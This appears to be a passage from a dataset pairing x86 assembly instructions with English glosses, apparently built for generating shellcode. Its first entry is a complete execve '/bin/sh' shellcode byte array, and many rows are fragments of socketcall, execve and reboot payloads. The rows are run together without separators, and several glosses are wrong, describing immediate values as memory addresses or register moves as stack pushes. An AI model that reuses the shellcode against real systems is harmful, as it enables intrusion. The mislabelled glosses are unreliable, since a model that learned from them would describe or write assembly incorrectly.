0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x681018mov [1000h], ax move the value of ax into memory at address 1000h1019mov [bp+0x07], al move the contents of the al register at the memory location specified by the operation [bp+0x07]1020mov [bp+0x0a], al move the contents of the al register at the memory location specified by the operation [bp+0x0a]1021mov [bp+0x31], al move the contents of the al register at the memory location specified by the operation [bp+0x31]]1022mov [bp+0x32], si move the contents of the si register at the memory location specified by the operation [bp+0x32]1023mov [bp+0x36], bx move the contents of the bx register at the memory location specified by the operation [bp+0x36]1024mov [bp+0x3a], bx move the contents of the bx register at the memory location specified by the operation [bp+0x3a]1025mov [bp+0x3e], ax move the contents of the ax register at the memory location specified by the operation [bp+0x3e]1026mov [ebp-4], edi move edi into the local memory address ebp-41027mov [ebp+12], ecx move ecx into the address [ebp+12]1028mov [ebp+12], ecx move the contents of ecx into the memory location specified by the operation [ebp+12]1029mov [ebp+20], zero_reg move the contents of zero_reg into the memory location specified by the operation [ebp+20]1030mov [ebp+20], zero_reg move zero_reg into the address [ebp+20]1031mov [ebp+22], word ax move the word at the address ax into [ebp+22]1032mov [ebp+22], word ax move the word in ax into the memory location specified by the operation [ebp+22]1033mov [ebp+var_a], eax move the contents of eax into address defined by ebp+var_a1034mov [ebx + 6], dl move dl into the address [ebx + 6]1035mov [ebx], 110 move 110 into the effective address saved in ebx1036mov [ebx], 123 move 123 into the effective address saved in ebx1037mov [ebx+0xe], dl move dl into the address [ebx+0xe]1038mov [ebx+12], eax move eax into ebx+121039mov [ebx+7], al move al into ebx+71040mov [ebx+8], ebx move ebx into ebx+81041mov [ecx], 25 move 25 decimal into the memory address ecx1042mov [ecx+4], eax move eax into the address [ecx+4]1043mov [edi], al move al into edi1044mov [edi], al move the contents of the al register into the edi register1045mov [esi], al move the contents of the al register into the esi register1046mov [esi+13], al move al into the address [esi+13]1047mov [esi+22], al move al into the address [esi+22]1048mov [esi+34], al move al into the address [esi+34]1049mov [esi+35], esi move esi into the address [esi+35]1050mov [esi+39], ebx move ebx into the address [esi+39]1051mov [esi+43], ebx move ebx into the address [esi+43]1052mov [esi+47], eax move eax into the address [esi+47]1053mov [esi+eax], cl move the contents of cl into the byte at memory address esi+eax1054mov [esp + 1], cl move cl into the address [esp + 1]1055mov [esp+4], esp move esp into the address [esp+4]1056mov [esp+57], al move al into the address [esp+57]1057mov [esp+58], ah move ah into the address [esp+58]1058mov [esp+59], ebx move ebx into the address [esp+59]1059mov [var], ebx move the contents of ebx into the 4 bytes at memory address var1060mov [var1], eax move the contents of eax into the 4 bytes at memory address var11061mov a_letter, al move al into memory address a_letter1062mov ah, 0x80 move 0x80 into ah1063mov al, [byte_tbl+2] move the effective address of byte_tbl+2 to al register1064mov al, [esi] move the contents of the esi register into the al register1065mov al, 03h move 03h into al1066mov al, 04h move 04h into al1067mov al, 05h move 05h into al1068mov al, 0x01 move 0x01 into al1069mov al, 0x01 move 0x1 into lower byte of the eax register1070mov al, 0x04 move 0x04 into al1071mov al, 0x05 put the syscall 0x5 into the al register1072mov al, 0x06 move 0x06 into al1073mov al, 0x0a move 0x0a into al1074mov al, 0x0b move 0x0b into al1075mov al, 0x1 move 0x1 into lower byte of the eax register1076mov al, 0x1 move the value 0x1 into the al register1077mov al, 0x17 move 0x17 into al1078mov al, 0x1f move 0x1f into al1079mov al, 0x2 put the syscall 0x2 into the al register1080mov al, 0x21 move 0x21 into al1081mov al, 0x2e move 0x2e into al1082mov al, 0x3 move 0x3 into al1083mov al, 0x30 move 0x30 into al1084mov al, 0x33 move 0x33 into al1085mov al, 0x3f move 0x3f into al1086mov al, 0x3f syscall 631087mov al, 0x4 move 0x4 into al1088mov al, 0x4 move the value 0x4 into the al register1089mov al, 0x42 move 0x42 into al1090mov al, 0x46 move 0x46 into al1091mov al, 0x5 move 0x5 into al1092mov al, 0x5 move the value 0x5 into the al register1093mov al, 0x58 load the syscall value 0x58 for reboot in the al register1094mov al, 0x6 move 0x6 into al1095mov al, 0x66 make the socketcall1096mov al, 0x66 make the systemcall socketcall1097mov al, 0x66 move 0x66 into al1098mov al, 0x66 syscall 1021099mov al, 0x66 system call socketcall1100mov al, 0x7 move 0x7 into al1101mov al, 0x8 put the syscall 0x8 into the al register1102mov al, 0xa2 move 0xa2 into al1103mov al, 0xb execve system call number 111104mov al, 0xb mov 0xb into lower byte of eax1105mov al, 0xb move 0xb into al1106mov al, 0xb5 move 0xb5 into al1107mov al, 0xcd move 0xcd into al1108mov al, 0xf move 0xf into al1109mov al, 1 move 1 into al1110mov al, 1 move the value 1 into the al register1111mov al, 10 transfer the value 10 to the al register1112mov al, 102 move 102 into al1113mov al, 11 move the value 11 into the al register1114mov al, 11 put the syscall 11 into the al register1115mov al, 12 move 12 into al1116mov al, 15 move 15 into lower byte of the eax register1117mov al, 16 move 16 into al1118mov al, 2 move 2 into al1119mov al, 20 move 20 into al1120mov al, 23 move 23 into al1121mov al, 37 move 37 into al1122mov al, 39 move 39 into al1123mov al, 4 move 4 into al1124mov al, 4 store 4 into al1125mov al, 5 move 5 into al1126mov al, 5 \n dec al \n jnz l2 move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero1127mov al, 54 move 54 into al1128mov al, 6 move 6 into al1129mov al, 61 move 61 into al1130mov al, 63 save 63 into al1131mov al, 66h move 66h into al1132mov al, 70 move 70 into al1133mov al, 72h move 72h into al1134mov al, 99 move 99 into al1135mov al, a_letter move data at memory location a_letter into al1136mov al, byte [digits+eax] move the effective address of digits+eax into al1137mov al, byte [edi] move the byte in edi into the al register1138mov al, byte [edx+ecx] move the effective address edx+ecx into al1139mov al, byte [esi] move the byte at the address [esi] into al1140mov al, byte [esi] move the byte in esi into al1141mov al, byte [esi+1+ebp] move the byte at the memory location specified by the operation [esi+1+ebp] into al1142mov al, byte [esi+ecx] move a byte from the address esi+ecx into al1143mov al, byte 0bh move the byte 0bh into al1144mov al, byte 0bh move the byte at the address 0bh into al1145mov al, byte 0x1 move the byte at the address 0x1 into al1146mov al, byte 2ah move the byte 2ah into al1147mov al, byte 2ah move the byte at the address 2ah into al1148mov al, byte 2h move the byte 2h into al1149mov al, byte 2h move the byte at the address 2h into al1150mov al, byte 3fh move the byte 3fh into al1151mov al, byte 3fh move the byte at the address 3fh into al1152mov al, byte 3h move the byte 3h into al1153mov al, byte 3h move the byte at the address 3h into al1154mov al, byte 66h move the byte 66h into al1155mov al, byte 66h move the byte at the address 66h into al1156mov al, byte 6h move the byte 6h into al1157mov al, byte 6h move the byte at the address 6h into al1158mov al, byte[buff+ecx] move a byte from the address buff+ecx into al1159mov al, cl move cl into al1160mov al, close_syscall move close_syscall into al1161mov al, dl move dl into al1162mov al, exit_call move exit_call into al1163mov al, write_syscall move write_syscall into al1164mov ax, [1000h] load the object at the address 1000h into the ax register1165mov ax, [di] copy thevalue at memory address specified by di into ax1166mov ax, [esi] move esi into ex1167mov ax, [esi] move the contents of the esi register into the ax register1168mov ax, [my_var] copy my_var contents in ax1169mov ax, 00 initialize ax to 001170mov ax, 010ch move value of 0x010ch into the register ax1171mov ax, 0x167 move 0x167 into ax1172mov ax, 0x169 move 0x169 into ax1173mov ax, 0x16a move 0x16a into ax1174mov ax, 0x16b move 0x16b into ax1175mov ax, 0x16c move 0x16c into ax1176mov ax, 1 move value of 1 into register ax1177mov ax, 102 move 102 into ax1178mov ax, 1666 move 1666 into ax1179mov ax, 45h transfer the immediate constant 45h to ax1180mov ax, 8h move 8h into ax1181mov ax, 9 get 9 in the ax1182mov ax, bx move bx into ax1183mov ax, bx move the contents of bx into ax1184mov ax, table[esi*4] move the memory offset table+esi*4 into ax1185mov bh, 0x12 move 0x12 into bh1186mov bh, 0xe2 move 0xe2 into bh1187mov bl, [esi+ecx] move the contents of memory address esi+ecx into bl1188mov bl, 0bh move 0bh into bl1189mov bl, 0x01 move 0x01 into bl1190mov bl, 0x02 move 0x02 into bl1191mov bl, 0x04 move 0x04 into bl1192mov bl, 0x1 move 0x1 into bl1193mov bl, 0x1 move the value 0x1 into the bl register1194mov bl, 0x14 move 0x14 into bl1195mov bl, 0x2 move 0x2 into bl1196mov bl, 0x2 move the value 0x2 into the bl register1197mov bl, 0x3 move 0x3 into bl1198mov bl, 0x4 move 0x4 into bl1199mov bl, 0x4 move the value 0x4 onto the stack1200mov bl, 0x5 move 0x5 into bl